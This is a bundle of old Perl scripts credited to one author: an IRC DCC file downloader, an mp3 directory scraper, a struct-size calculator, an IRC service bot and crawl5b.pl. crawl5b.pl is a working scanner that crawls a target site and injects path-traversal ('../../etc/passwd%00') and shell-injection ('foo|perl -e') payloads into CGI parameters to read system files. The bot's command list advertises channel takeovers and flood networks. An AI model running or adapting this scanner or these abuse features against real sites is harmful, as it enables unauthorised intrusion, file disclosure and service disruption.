  3532. elsif ($rdata =~ /^DCC\s+SEND\s+(.*)\s+(\S+)\s+(\S+)\s+(\S+)\s*$/i) {
  3533. $nicks{$rnick}[3] = $2;
  3534. $nicks{$rnick}[4] = $4;
  3535. $nicks{$rnick}[5] = $1;
  3536. &dcccheck(\*SOCK, $1, $2, $3, $4, $rnick)
  3537. }
  3538. elsif ($rdata =~ /^DCC\s+ACCEPT\s+(.*)\s+(\S+)\s+(\S+)\s*$/i) {
  3539. fork() || &dccsend($nicks{$rnick}[5], $nicks{$rnick}[3], $2, $nicks{$rnick}[4], $rnick, $3);
  3540. }
  3541. }
  3542. }
  3543. }
  3544. }
  3545.  
  3546. sub dccchat {
  3547. my ($ip, $port, $dir, $movie, $nick) = @_;
  3548. socket(DCCSOCK, PF_INET, SOCK_STREAM, getprotobyname("tcp")) || die "Cannot create socket\n";
  3549. connect(DCCSOCK, sockaddr_in($port, pack("N", $ip))) || die "Unable to connect\n";
  3550. select(DCCSOCK);
  3551. $| = 1;
  3552. select(STDOUT);
  3553. print "$nick: DCC chat accepted\n" if $debug;
  3554. sleep 2;
  3555. print DCCSOCK "cd $dir\n" if $dir;
  3556. print DCCSOCK "get $movie\n";
  3557. while (<DCCSOCK>) {
  3558. if (/Sorry/) {
  3559. sleep 20;
  3560. print DCCSOCK "get $movie\n";
  3561. }
  3562. elsif (/Now sending|Inserting you in/) {
  3563. last;
  3564. }
  3565. elsif (/Invalid file/) {
  3566. print "$nick: `$movie` not found - disconnecting\n" if $debug;
  3567. exit;
  3568. }
  3569. }
  3570. exit;
  3571. }
  3572.  
  3573. sub dcccheck {
  3574. my ($sock, $movie, $ip, $port, $size, $nick) = @_;
  3575.  
  3576. my $omovie = $movie;
  3577. my $num = 0;
  3578. if (-e $movie && -e "$movie.lock") {
  3579. do { $num++ } while (-e "$movie.$num" && -e "$movie.lock");
  3580. }
  3581. $movie .= ".$num" if $num;
  3582.  
  3583. open(MLOCK, ">$movie.lock");
  3584. close(MLOCK);
  3585. my $trans = (stat($movie))[7];
  3586.  
  3587. if ($trans >= $size) {
  3588. print "$nick: exiting - `$movie`s size is already $trans - downloadable file is $size\n";
  3589. unlink("$movie.lock");
  3590. return ();
  3591. }
  3592. elsif ($trans) {
  3593. print "$nick: resuming `$movie` from $trans ($size bytes total)\n";
  3594. print $sock "PRIVMSG $nick :\cADCC RESUME $omovie $port $trans\cA\n";
  3595. unlink("$movie.lock");
  3596. return ($trans);
  3597. }
  3598. else {
  3599. print "$nick: downloading `$movie` ($size bytes)\n" if $debug;
  3600. fork || &dccsend($movie, $ip, $port, $size, $nick, $trans);
  3601. }
  3602. return ();
  3603. }
  3604.  
  3605. sub dccsend {
  3606. my ($movie, $ip, $port, $size, $nick, $trans) = @_;
  3607. socket(DCCSOCK, PF_INET, SOCK_STREAM, getprotobyname("tcp")) || die "Cannot create socket\n";
  3608. connect(DCCSOCK, sockaddr_in($port, pack("N", $ip))) || die "Unable to connect\n";
  3609. my $old = select(DCCSOCK);
  3610. $| = 1;
  3611. select($old);
  3612. if ($trans) {
  3613. open(MLOCK, ">$movie.lock");
  3614. close(MLOCK);
  3615. }
  3616.  
  3617. open(MOVIE, ">>$movie") || die "Can't open $movie for writing: $!\n";
  3618.  
  3619. my ($data, $bytes);
  3620. while (($bytes, $data) = &getdata(\*DCCSOCK, $maxbytes)) {
  3621. sleep 1;
  3622. if ($bytes) {
  3623. $trans += $bytes;
  3624. print MOVIE $data;
  3625. last unless &senddata(\*DCCSOCK, pack("N", $trans));
  3626. }
  3627. else {
  3628. print "$nick: disconnected from filesend - $trans/$size bytes recieved\n" if $debug;
  3629. open(TEXT, ">>movies.txt");
  3630. print TEXT "$movie :: $trans/$size\n";
  3631. close(TEXT);
  3632. close(MOVIE);
  3633. unlink("$movie.lock");
  3634. exit;
  3635. }
  3636.  
  3637. last if $trans == $size;
  3638. }
  3639.  
  3640. close(MOVIE);
  3641. unlink("$movie.lock");
  3642.  
  3643. open(TEXT, ">>movies.txt");
  3644. print TEXT "$movie :: $trans/$size\n";
  3645. close(TEXT);
  3646.  
  3647. if ($trans != $size) {
  3648. print "$nick: disconnected from filesend - $trans/$size bytes recieved\n" if $debug;
  3649. }
  3650. else {
  3651. print "$nick: recieved `$movie` - $trans/$size bytes recieved\n" if $debug;
  3652. }
  3653. exit;
  3654. }
  3655.  
  3656. sub getdata {
  3657. my ($sock, $bytes) = @_;
  3658. my ($tbytes, $data);
  3659. eval {
  3660. local $SIG{"ALRM"} = sub { die };
  3661. alarm $timeout;
  3662. $tbytes = sysread($sock, $data, $bytes);
  3663. alarm 0;
  3664. };
  3665.  
  3666. if ($@) {
  3667. return ();
  3668. }
  3669.  
  3670. return ($tbytes, $data);
  3671. }
  3672.  
  3673. sub senddata {
  3674. my ($sock, $data) = @_;
  3675. my ($bytes);
  3676. eval {
  3677. local $SIG{"ALRM"} = sub { die };
  3678. alarm $timeout;
  3679. $bytes = syswrite($sock, $data);
  3680. alarm 0;
  3681. };
  3682.  
  3683. if ($@) {
  3684. return ();
  3685. }
  3686.  
  3687. return ($bytes);
  3688. }
  3689.  
  3690.  
  3691. #!/usr/bin/perl
  3692.  
  3693. # recursively suck mp3s from apache-type directory structures
  3694. # v0.21 - [3/4/02]
  3695. #
  3696. # this will only go deeper into directory structures but will
  3697. # never go higher than where it's at, for example:
  3698. # > mp3get blah.com/x/
  3699. # mp3get will suck all .mp3's in /x/ and recursively go into
  3700. # all dirs in blah.com/x/ looking for more mp3s, locally
  3701. # creating the dirs with mp3s in them but it will NEVER go
  3702. # down to ../ (blah.com/) even if there are direct links to
  3703. # it or just a link to "/" so you never end up wasting time
  3704. # like wget makes you :)
  3705. #
  3706. # also it doesn't waste time getting images or anything, only
  3707. # dirs and mp3s (and .ogg's)
  3708. #
  3709. # -samy [cp5@LucidX.com]
  3710.  
  3711. my @requests = ( # when you get mp3s/dirs, the user agent
  3712. # will be randomly chosen from this array
  3713. "User-Agent: Mozilla/4.0 (compatible; MSIE 4.0; Windows 95)",
  3714. "User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)",
  3715. );
  3716.  
  3717.  
  3718. die "usage: $0 [-d (debugging)] <url1> [url2] [url3]..\n" if @ARGV == 0;
  3719.  
  3720. my $debug;
  3721. if ($ARGV[0] eq "-d") {
  3722. shift(@ARGV);
  3723. $debug = 1;
  3724. print STDERR "<Debugging Mode Enabled>\n\n";
  3725. }
  3726. my $urls = @ARGV;
  3727. my $cur;
  3728. my $os;
  3729. if ($^O =~ /Win32/i) {
  3730. $os = "> NUL 2> NUL";
  3731. }
  3732. else {
  3733. $os = "> /dev/null 2> /dev/null";
  3734. }
  3735. $os = " " if $debug;
  3736.  
  3737. $SIG{INT} = sub {
  3738. unlink($cur) if $cur;
  3739. close(CUR);
  3740. die "\nExiting...\n";
  3741. };
  3742.  
  3743. use IO::Socket;
  3744.  
  3745. my @urls;
  3746. for (my $i = 0; $i < $urls; $i++) {
  3747. ($urls[$i][0], $urls[$i][1], $urls[$i][2]) = $ARGV[$i] =~ /^(?:http:\/\/)?([^\/:]+)(?::(\d+))?(\/.*)?$/i;
  3748. $urls[$i][1] = 80 if !$urls[$i][1];
  3749. $urls[$i][2] .= "/" if (!$urls[$i][2] || $urls[$i][2] !~ /\/$/);
  3750. ($urls[$i][3]) = $urls[$i][2] =~ /\/([^\/]*)\/?$/;
  3751. }
  3752.  
  3753. for ($i = 0; $i < $urls; $i++) {
  3754. &recur(@{$urls[$i]});
  3755. }
  3756.  
  3757. sub recur {
  3758. my @addr = @_;
  3759. my $sock = IO::Socket::INET->new(
  3760. PeerAddr => $addr[0],
  3761. PeerPort => $addr[1],
  3762. Timeout => 5,
  3763. Proto => "tcp",
  3764. ) or print STDERR "Can't connect to http://$addr[0]:$addr[1]...moving on\n";
  3765. if ($sock) {
  3766. $addr[2] =~ s/&amp;/&/g;
  3767. print $sock "GET $addr[2] HTTP/1.0\nHost: $addr[0]\nAccept: */*\n"
  3768. . $requests[int(rand(@requests))] . "\n\n";
  3769. my $httpResponse = join('', <$sock>);
  3770. close($sock);
  3771. my (@mp3s, @dirs);
  3772. print "Scanning http://$addr[0]:$addr[1]$addr[2]\n";
  3773. while ($httpResponse =~ s/<a\s+href\s*=\s*(?:"([^"]*)"|'([^']*)'|`([^`]*)`|(\S*))//is) {
  3774. my $tmp = $1;
  3775. if ($tmp =~ /\.ogg|\.mp3|\.m3u$/i) {
  3776. push(@mp3s, $tmp);
  3777. }
  3778. elsif ($tmp =~ /\/$/ && $tmp !~ /^http:\/\/|^\.|^\/|\?/i) {
  3779. push(@dirs, $tmp);
  3780. }
  3781. }
  3782. if (@mp3s) {
  3783. my $temp = $addr[3];
  3784. $addr[3] =~ s/%(.{2})/pack("H2", $1)/eg;
  3785. $addr[3] =~ s/[\?\*:<>|"\\]//g;
  3786. $addr[3] =~ s/\/?$/\//;
  3787. &mkd($addr[3]) unless $addr[3] eq "1";
  3788. $addr[3] =~ s/&amp;/&/g;
  3789. foreach (@mp3s) {
  3790. s/&amp;/&/g;
  3791. s/"/\\"/g;
  3792. my $mp3 = $_;
  3793. $mp3 =~ s/%(.{2})/pack("H2", $1)/eg;
  3794. $mp3 =~ s/[\?\*:<>|"\/\\]//g;
  3795. next if -e $addr[3] . $mp3;
  3796. unlink($addr[3] . $_) if -e $addr[3] . $_;
  3797. print " Getting $addr[3]$mp3\n";
  3798. if ($^O !~ /Win32/i) {
  3799. print " http://$addr[0]:$addr[1]$addr[2]$_\n";
  3800. }
  3801. $cur = $addr[3] . $_;
  3802. open(CUR, "wget \"--directory-prefix=$addr[3]\" \"http://$addr[0]:$addr[1]$addr[2]$_\" --user-agent=\""
  3803. . $requests[int(rand(@requests))] . "\" --execute=robots=off $os |");
  3804. while (<CUR>) { }
  3805. $cur = "";
  3806. rename($addr[3] . $_, $addr[3] . $mp3);
  3807. }
  3808. }
  3809. foreach (@dirs) {
  3810. my @tmp = @addr;
  3811. $tmp[2] =~ s/\/?$/\/$_/;
  3812. $tmp[3] =~ s/\/?$/\/$_/;
  3813. &recur(@tmp);
  3814. }
  3815. }
  3816. }
  3817.  
  3818. sub mkd {
  3819. my $dr = $_[0];
  3820. if (!-e $dr && $dr ne "") {
  3821. my $t = $dr =~ s/[^\/]*\/$//;
  3822. &mkd($t);
  3823. mkdir($dr, "755");
  3824. print "MKDIR $dr\n" if $debug;
  3825. }
  3826. }
  3827.  
  3828.  
  3829. #!/usr/bin/perl
  3830.  
  3831. #######################################################
  3832. #
  3833. # crawl5b.pl - by Samy Kamkar [CommPort5@LucidX.com]
  3834. # This version includes a status line when not in
  3835. # verbose mode and a few others small things
  3836. #
  3837. # Updated September 14th
  3838. #
  3839. # crawl5b.pl
  3840. # crawls a machine (over http) for all links and forms
  3841. # and attempts to find CGIs on the machine with bugs
  3842. # (exploitable to reading any file on the system)
  3843. #
  3844. # my algorithm can be found at:
  3845. # http://cp5.LucidX.com/5balgo1.html
  3846. # and other algorithms along with similar programs can
  3847. # be found at http://cp5.LucidX.com
  3848. #
  3849. # developed specifically for challenge 5B of Caezar's Challenge
  3850. # check out http://www.caezarschallenge.org (Caezar++)
  3851. #
  3852.  
  3853. $statusbar = 1;
  3854. # a status-bar to show how many pages, CGIs, and bugs were found
  3855.  
  3856. $dats = 1;
  3857. # 1 to exclude the second algorithm (doesn't check for foo|perl -e...)
  3858. # speeds up scan twice as fast and checks for only the more common bug
  3859. # set to 2 to include the second aglorithm ($dat2)
  3860.  
  3861. $dat1 = "../" x 20 . "etc/passwd"; # ../../../../etc/passwd
  3862. $dat2 = 'foo|perl -e \'print"roo";print"t:"\'&&foo'; # may want to add a foo; at the beginning
  3863.  
  3864. $first = "img|a|body|area|frame|meta"; # tags right after a '<'
  3865. $second = "src|href|background|target"; # options in any of the tags in $first
  3866. @ignore = ( # file extensions that will not be an HTML or CGI
  3867. "gif", "jpg", "jpeg", "bmp", "psp", "mov", "txt", "ram", "wmv", "pdf",
  3868. "doc", "xls", "rm", "gz", "tar", "zip", "png", "mpg", "mpeg", "mp3",
  3869. );
  3870.  
  3871. #
  3872. #######################################################
  3873.  
  3874. $SIG{INT} = sub { die "\n" };
  3875.  
  3876. use IO::Socket;
  3877.  
  3878. unless (@ARGV == 1 || @ARGV == 2) {
  3879. die "usage: $0 <http://host[/start/page]> [-v (for verbose)]\n";
  3880. }
  3881.  
  3882. sub colored { return $_[0] }
  3883. eval("use Term::ANSIColor");
  3884.  
  3885. $bugsa = 0;
  3886. $cgisa = 0;
  3887. $pagesa = 0;
  3888.  
  3889. while ($dat1 =~ s/(.)//) {
  3890. $tmp = $1;
  3891. if ($tmp =~ /[\W[^\.\/]]/) {
  3892. $data1 .= "%" . unpack("H*", $tmp);
  3893. }
  3894. else {
  3895. $data1 .= $tmp;
  3896. }
  3897. }
  3898. while ($dat2 =~ s/(.)//) {
  3899. $tmp = $1;
  3900. if ($tmp =~ /\W/) {
  3901. $data2 .= "%" . unpack("H*", $tmp);
  3902. }
  3903. else {
  3904. $data2 .= $tmp;
  3905. }
  3906. }
  3907. $data1 .= "%00";
  3908. $data2 .= "%00";
  3909. ($host, $tmp) = $ARGV[0] =~ /^(?:http:\/\/)?([^\/]+)(\/?.*)$/;
  3910. $ip = &host2ip($host);
  3911. $ign = join('|', @ignore);
  3912.  
  3913. print "Beginning to scan " . colored($host, "bold") . " :: " . colored($ip, "bold") . " for CGI bugs...\n";
  3914. print "Kick back and relax, this will take a while...\n\n";
  3915. if ($ARGV[1] eq '-v') {
  3916. $verbose = 1;
  3917. $statusbar = 0;
  3918. }
  3919. &status if $statusbar;
  3920. if ($tmp) {
  3921. $tmp =~ s/\/$//;
  3922. if ($tmp !~ /^\//) {
  3923. $urls{"/$tmp"} = 1;
  3924. }
  3925. else {
  3926. $urls{$tmp} = 1;
  3927. }
  3928. }
  3929. else {
  3930. $urls{"/"} = 1;
  3931. }
  3932. &recursive(%urls);
  3933.  
  3934. sub recursive {
  3935. %urls = @_;
  3936. foreach $url (keys(%urls)) {
  3937. if ($url =~ /\/$/) {
  3938. $curdir = $url;
  3939. }
  3940. else {
  3941. $url =~ /^(.*\/)[^\/]+$/;
  3942. $curdir = $1;
  3943. }
  3944. $read{$url} = $urls{$url};
  3945. delete $urls{$url};
  3946. $sock = IO::Socket::INET->new(
  3947. PeerAddr => $ip,
  3948. PeerPort => 80,
  3949. Timeout => 10,
  3950. Proto => "tcp"
  3951. ) or die "Can't connect to $ip:80\n";
  3952. $url =~ s/&$//;
  3953. $pagesa++;
  3954. if ($verbose) {
  3955. print "GETing $url\n";
  3956. }
  3957. &status if $statusbar;
  3958. print $sock "GET $url HTTP/1.0\nHost: $host\n\n";
  3959. $response = join('', <$sock>);
  3960. $response =~ s/\n/ /g;
  3961. $response = ">$response";
  3962. @res = split(/>[^<]*</, $response);
  3963. foreach $response (@res) {
  3964. $tmp = "";
  3965.  
  3966. # check for form beginnings
  3967. if ($response =~ /^form.*action\s*=\s*"?'?([^"'\s]+)/i) {
  3968. $form[0] = $1 . "?";
  3969. $form[0] =~ s/^http:\/\/([^\/]+)//i;
  3970. if ($form[0] !~ /^\//) {
  3971. $form[0] = $curdir . $form[0];
  3972. }
  3973. }
  3974.  
  3975. # check for a select
  3976. elsif ($form[0] && $response =~ /select\s+name\s*=\s*"?'?([^"'\s]+)/i) {
  3977. $form[0] .= "$1=";
  3978. $form[2]++;
  3979. }
  3980.  
  3981. # check for normal form inputs
  3982. elsif (
  3983. $form[0] &&
  3984. $response =~
  3985. /(?:type\s*=\s*"?'?([^"'\s]*)"?'?)?.*\s+name\s*=\s*"?'?([^"'\s]+)'?"?\s*(?:value\s*=\s*"?'?([^"'\s]*))?/i
  3986. ) {
  3987. ($type, $name, $value) = ($1, $2, $3);
  3988. $form[0] .= $name . "=" . $value . "&";
  3989. }
  3990.  
  3991. # check for option values for forms
  3992. elsif ($form[0] && $form[2] && $response =~ /option\s+value\s*=\s*"?'?([^"'\s]+)/i) {
  3993. $form[0] .= $1 . "&";
  3994. $form[2] = 0;
  3995. }
  3996.  
  3997. # check for end of forms
  3998. elsif ($form[0] && $response =~ /\/form/i) {
  3999. $form[1]++;
  4000. }
  4001.  
  4002. # check for unwanted tags
  4003. unless ($response =~ /^(?:$first).*(?:$second)\s*=\s*"?'?([^"'\s]+)/i) {
  4004. unless ($form[1]) {
  4005. next;
  4006. }
  4007. else {
  4008. $tmp = $form[0];
  4009. $tmp =~ s/&$//;
  4010. @form = ();
  4011. }
  4012. }
  4013.  
  4014. unless ($tmp) {
  4015. $tmp = $1;
  4016. }
  4017. if ($tmp =~ s/^http:\/\/([^\/]+)//i) {
  4018. $addr = $1;
  4019. }
  4020. else {
  4021. $addr = "";
  4022. }
  4023. if ($tmp !~ /^\//) {
  4024. $tmp = $curdir . $tmp;
  4025. }
  4026. if (
  4027. (
  4028. $addr && !$tmp
  4029. ) ||
  4030. $urls{$tmp} ||
  4031. $read{$tmp} ||
  4032. $tmp =~ /mailto:|#|https:|ftp:|news:/i ||
  4033. (
  4034. $tmp !~ /\?/ &&
  4035. $tmp =~ /(?:$ign)/i
  4036. )
  4037. ) {
  4038. next;
  4039. }
  4040. if ($tmp =~ /\?/) {
  4041. # $read{$tmp} = 1;
  4042. $urls{$tmp} = 1;
  4043. &check($tmp);
  4044. }
  4045. else {
  4046. $urls{$tmp} = 1;
  4047. }
  4048. }
  4049. }
  4050. if (%urls) {
  4051. &recursive(%urls);
  4052. }
  4053. }
  4054.  
  4055. sub host2ip {
  4056. return join(".", unpack("C4", (gethostbyname($_[0]))[4]));
  4057. }
  4058.  
  4059. sub check {
  4060. ($cgi) = @_;
  4061. $cgi =~ s/&$//;
  4062. $cgisa++;
  4063. if ($verbose) {
  4064. print "Attempting to break $cgi\n";
  4065. }
  4066. &status if $statusbar;
  4067. $cgi =~ s/([\+\%\$\@\*\\\|\^\(\[\{\)\]\}])/\\$1/g;
  4068. $origcgi = $cgi;
  4069. $cgi =~ s/^(.*\?)//;
  4070. $cgib = $1;
  4071. if ($cgi !~ /=/) {
  4072. for (1 .. $dats) {
  4073. $origcgi =~ s/\?.*$/?/;
  4074. $origcgi .= ${data . $_};
  4075. $sock = IO::Socket::INET->new(
  4076. PeerAddr => $ip,
  4077. PeerPort => 80,
  4078. Timeout => 10,
  4079. Proto => "tcp"
  4080. );
  4081. print $sock "GET $origcgi HTTP/1.0\nHost: $host\n\n";
  4082. $response = join('', <$sock>);
  4083. $response =~ s/\n//g;
  4084. if ($response =~ /root(?:\:|"|')/ && !$bug{$origcgi}) {
  4085. $bug{$origcgi} = 1;
  4086. if ($statusbar) {
  4087. print "\r";
  4088. }
  4089. $bugsa++;
  4090. print "BUG FOUND - http://$host$origcgi\n";
  4091. }
  4092. }
  4093. }
  4094. else {
  4095. for (1 .. $dats) {
  4096. %info = split(/=|&/, $cgi);
  4097. foreach $key (keys(%info)) {
  4098. $origcgi = $cgib . $cgi;
  4099. $tmp = ${data . $_};
  4100. $origcgi =~ s/((?:\?|&)$key=)$info{$key}/$1$tmp/;
  4101. $sock = IO::Socket::INET->new(
  4102. PeerAddr => $ip,
  4103. PeerPort => 80,
  4104. Timeout => 10,
  4105. Proto => "tcp"
  4106. );
  4107. print $sock "GET $origcgi HTTP/1.0\nHost: $host\n\n";
  4108. $response = join('', <$sock>);
  4109. $response =~ s/\n//g;
  4110. if ($response =~ /root(?:\:|"|')/ && !$bug{$origcgi}) {
  4111. $bug{$origcgi} = 1;
  4112. if ($statusbar) {
  4113. print "\r";
  4114. }
  4115. $bugsa++;
  4116. print "BUG FOUND - http://$host$origcgi\n";
  4117. }
  4118. }
  4119. }
  4120. }
  4121. }
  4122.  
  4123. sub status {
  4124. print STDERR "\r" . " " x (6 - length($pagesa));
  4125. print STDERR colored($pagesa, "bold");
  4126. print STDERR " - pages accessed / " . " " x (5 - length($cgisa));
  4127. print STDERR colored($cgisa, "bold");
  4128. print STDERR " - attempted CGIs to break / " . " " x (5 - length($bugsa));
  4129. print STDERR colored($bugsa, "bold");
  4130. print STDERR " - CGI bugs found";
  4131. }
  4132.  
  4133. END {
  4134. print "\n";
  4135. }
  4136.  
  4137.  
  4138. #!/usr/bin/perl
  4139.  
  4140. use Config;
  4141.  
  4142. die "usage: $0 <header file>\n" unless @ARGV == 1;
  4143.  
  4144. %chars = (
  4145. 'char' => (1 * 1),
  4146. 'double' => ($Config{doublesize} * 1),
  4147. 'int' => ($Config{intsize} * 1),
  4148. 'long' => ($Config{longsize} * 1),
  4149. 'short' => ($Config{shortsize} * 1),
  4150. 'long double' => ($Config{longdblsize} * 1),
  4151. 'long long' => ($Config{longlongsize} * 1),
  4152. 'ptr' => ($Config{ptrsize} * 1),
  4153. '__uint8_t' => (1 * 1),
  4154. '__uint16_t' => (2 * 1),
  4155. '__uint32_t' => (4 * 1),
  4156. '__uint64_t' => (8 * 1),
  4157. 'int8_t' => (1 * 1),
  4158. 'int16_t' => (2 * 1),
  4159. 'int32_t' => (4 * 1),
  4160. 'int64_t' => (8 * 1),
  4161. 'pid_t' => (4 * 1),
  4162. 'caddr_t' => (4 * 1),
  4163. 'sa_family_t' => (1 * 1),
  4164. 'void' => (1 * 1),
  4165. );
  4166.  
  4167. %chars = (
  4168. %chars,
  4169. 'unsigned int' => $chars{int},
  4170. 'unsigned char' => $chars{char},
  4171. 'unsigned long' => $chars{long},
  4172. 'unsigned short' => $chars{short},
  4173. );
  4174.  
  4175. open(TMP, "</usr/include/sys/types.h");
  4176. while (<TMP>) {
  4177. if (/typedef\s+(.+)\s+(\S+);/) {
  4178. ($ele, $key) = ($1, $2);
  4179. if ($ele =~ /struct/) {
  4180. $ele =~ s/\s+/ /g;
  4181. $chars{$key} = \$sizeof{$ele} unless $chars{$key};
  4182. }
  4183. else {
  4184. $chars{$key} = $chars{$ele} unless $chars{$key};
  4185. }
  4186. }
  4187. }
  4188. close(TMP);
  4189.  
  4190. open(FH, "<$ARGV[0]") or die "Can't open file $file: $!\n";
  4191. @tmp = <FH>;
  4192. $file = join('', @tmp);
  4193. foreach (@tmp) {
  4194. if (/typedef\s+(.+)\s+(\S+);/) {
  4195. ($ele, $key) = ($1, $2);
  4196. if ($ele =~ /struct/) {
  4197. $ele =~ s/\s+/ /g;
  4198. $chars{$key} = \$sizeof{$ele} unless $chars{$key};
  4199. }
  4200. else {
  4201. $chars{$key} = $chars{$ele} unless $chars{$key};
  4202. }
  4203. }
  4204. elsif (/include\s+(\S+)/) {
  4205. if ($1 =~ /^<(.*?)>/) {
  4206. open(TMP, "</usr/include/$1");
  4207. while (<TMP>) {
  4208. push(@tmp, $_);
  4209. }
  4210. close(TMP);
  4211. }
  4212. elsif ($1 =~ /^(?:"|')(.*?)(?:"|')/) {
  4213. open(TMP, "</usr/include/$1");
  4214. while (<TMP>) {
  4215. push(@tmp, $_);
  4216. }
  4217. close(TMP);
  4218. }
  4219. }
  4220. }
  4221.  
  4222. while ($file =~ s/(struct\s+(\S+)\s*{[^}]+})//) {
  4223. my %tmph;
  4224. ($tmp, $struct) = ($1, $2);
  4225. $tmp =~ s/\/\*.*?\*\///g;
  4226. while ($tmp =~ s/\n\s*(.+\S+)\s+(\S+);//) {
  4227. my $tmpr;
  4228. ($str, $val) = ($2, $1);
  4229. if ($val =~ /struct/) {
  4230. $val =~ s/\s+/ /g;
  4231. $val =~ s/^(.*?)$/\$sizeof\{'$1'\}/;
  4232. }
  4233. $str =~ s/\[(\d+)\]//;
  4234. $tmpr = $1;
  4235. $str =~ s/\s+.*?$//g;
  4236. $str =~ s/\W+//g;
  4237. unless ($tmpr =~ /^\d+$/) {
  4238. $tmpr = 1;
  4239. }
  4240. $structs{$struct}{$str} = $val . "[$tmpr]";
  4241. }
  4242. }
  4243.  
  4244. foreach $struct (keys(%structs)) {
  4245. my $size;
  4246. foreach $val (keys(%{$structs{$struct}})) {
  4247. $tmp = $structs{$struct}{$val};
  4248. ($vl, $ts) = $tmp =~ /^(.*?)\[(\d+)\]/;
  4249. $size = ($size + ($chars{$vl} * $ts));
  4250. }
  4251. $sizeof{"struct $struct"} = $size;
  4252. }
  4253.  
  4254. foreach $struct (keys(%structs)) {
  4255. my $size;
  4256. foreach $val (keys(%{$structs{$struct}})) {
  4257. if ($structs{$struct}{$val} =~ /struct/) {
  4258. $tmp = $structs{$struct}{$val};
  4259. $tmp =~ s/\$sizeof{'(.*?)'}/$1/g;
  4260. ($vl, $ts) = $tmp =~ /^(.*?)\[(\d+)\]$/;
  4261. $size = ($size + ($sizeof{$vl} * $ts));
  4262. }
  4263. else {
  4264. $tmp = $structs{$struct}{$val};
  4265. ($vl, $ts) = $tmp =~ /^(.*?)\[(\d+)\]$/;
  4266. $size = ($size + ($chars{$vl} * $ts));
  4267. }
  4268. }
  4269. }
  4270.  
  4271. foreach $struct (reverse(keys(%structs))) {
  4272. my $size;
  4273. foreach $val (keys(%{$structs{$struct}})) {
  4274. if ($structs{$struct}{$val} =~ /struct/) {
  4275. $tmp = $structs{$struct}{$val};
  4276. $tmp =~ s/\$sizeof{'(.*?)'}/$1/g;
  4277. ($vl, $ts) = $tmp =~ /^(.*?)\[(\d+)\]$/;
  4278. $size = ($size + ($sizeof{$vl} * $ts));
  4279. }
  4280. else {
  4281. $tmp = $structs{$struct}{$val};
  4282. ($vl, $ts) = $tmp =~ /^(.*?)\[(\d+)\]$/;
  4283. $size = ($size + ($chars{$vl} * $ts));
  4284. }
  4285. }
  4286. print "\$sizeof{'struct $struct'} = $size;\n";
  4287. }
  4288.  
  4289.  
  4290. #!/usr/bin/perl
  4291.  
  4292. #############################################################
  4293. # hybbot 0.8
  4294. # by samy (who else?) CommPort5@LucidX.com
  4295. #
  4296. # hybbot is freely available and covered by the same terms
  4297. # and conditions of Perl itself through the Artistic License
  4298. #############################################################
  4299.  
  4300.  
  4301. # Commands and stuff:
  4302. #
  4303. # all users/channel ops/channel owners:
  4304. # status
  4305. # pass <newpass>
  4306. # chpass <oldpass> <newpass> (not yet)
  4307. # mode <pass> <#chan> <modes>
  4308. # register <#chan> <pass>
  4309. # op <#chan> <pass> [nick]
  4310. # addop <#chan> <pass> <nick>
  4311. # delop <#chan> <pass> <nick> (not yet)
  4312. # invite <#chan> <pass> [nick]
  4313. # addchan <#chan> <pass> [modes] (not yet)
  4314. # delchan <#chan> (not yet)
  4315. # chmodes <#chan> <pass> <modes> (not yet)
  4316. # addaop <#chan> <pass> <nick!ident@host>
  4317. #
  4318. # wanna-bes:
  4319. # <pass> opz0r <#chan> <nick>
  4320. #
  4321. # opers:
  4322. # <pass> rehash
  4323. # <pass> opz0r <#chan> <nicks>
  4324. # <pass> deopz0r <#chan> <nicks>
  4325. # <pass> joinz0r <#chans>
  4326. # <pass> partz0r <#chans>
  4327. #
  4328. # hax0rs:
  4329. # <pass> addjoin <#chan> [modes]
  4330. # <pass> botjoin <botnick> <#chan>
  4331. # <pass> botpart <botnick> <#chan>
  4332. # <pass> botop <botnick> <#chan> <nick>
  4333. # <pass> botdeop <botnick> <#chan> <nick>
  4334. # <pass> addbot <botnick> <flags> <hostname> <ircname>
  4335. # <pass> killbot <botnick> [message]
  4336. # <pass> listbots
  4337. # <pass> massopz0r <#chans> <nick>
  4338. # <pass> massdopz0r <#chans> <nick>
  4339. # <pass> adduser <nick> <id> <pass>
  4340. # <pass> raw <raw irc commands>
  4341. # <pass> m0pz0r <#chan>
  4342. #
  4343. # l33t hax0rs:
  4344. # <pass> exit <quit message>
  4345. # <pass> floodnet <# of bots> <name of net> [nick]
  4346. # <pass> fnet <name of net> <raw commands>
  4347. # <pass> killnet <name of net> [quit message]
  4348. # <pass> restart [exit message]
  4349. # <pass> takeover <#chan> <nicks>
  4350. # <pass> addoper <nick> <id>
  4351. # <pass> retrieve <raw irc command>
  4352. # <pass> get <variable name>
  4353. #
  4354. # Info on users and channels:
  4355. # $nix{$a}{$b}
  4356. # $a = nick of anyone on network
  4357. # $b = chans that nick is in
  4358. # $all{$a}{$b}
  4359. # $a = chans with people in them
  4360. # $b = nicks of people in chan
  4361. # $sall{$a}{$b}
  4362. # $a = chans with people in them
  4363. # $b = nicks of people in chan but the nick
  4364. # may include a '@' or '+' in front of it
  4365.  
  4366.  
  4367. $conf = "hybbot.conf";
  4368. $joinz0r = 1;
  4369.  
  4370. $SIG{'HUP'} = \&rehash;
  4371. $version = "0.8";
  4372. use Socket;
  4373. unless (@ARGV == 5) {
  4374. die "usage: $0 <nick[,nick2,nick3,etc]> <hub server [to connect to]> <hybbot server> <server password> <hostname[,hostname2,hostname3,etc]>\n";
  4375. }
  4376. defined ($fork = fork()) || print STDERR "Unable to fork...\n";
  4377. ($fork) && die "hybbot actived on PID $fork\n";
  4378. &rehash;
  4379. $remote = $ARGV[1];
  4380. $port = 6667;
  4381. @nickss = split(/,/, $ARGV[0]);
  4382. @hosts = split(/,/, $ARGV[4]);
  4383. $host = shift(@hosts);
  4384. $botnick = shift(@nickss);
  4385. $iaddr = inet_aton($remote);
  4386. $paddr = sockaddr_in($port, $iaddr);
  4387. $proto = getprotobyname('tcp');
  4388. socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die "Cannot create socket\n";
  4389. connect(SOCK, $paddr) || die "Unable to connect\n";
  4390. select(SOCK);
  4391. $| = 1;
  4392. select('stdout');
  4393. $srvc = $ARGV[2];
  4394. print SOCK "PASS $ARGV[3] :TS\n";
  4395. print SOCK "SERVER $ARGV[2] 1 :Services - hybbot [irc.LucidX.com]\n";
  4396. $tmp = "NICK $botnick 1 1 +noKNbcdfikrswxyzO $botnick $host $ARGV[2] :hybbot by CommPort5[\@LucidX.com] - samy (Service bot)";
  4397. print SOCK "$tmp\n";
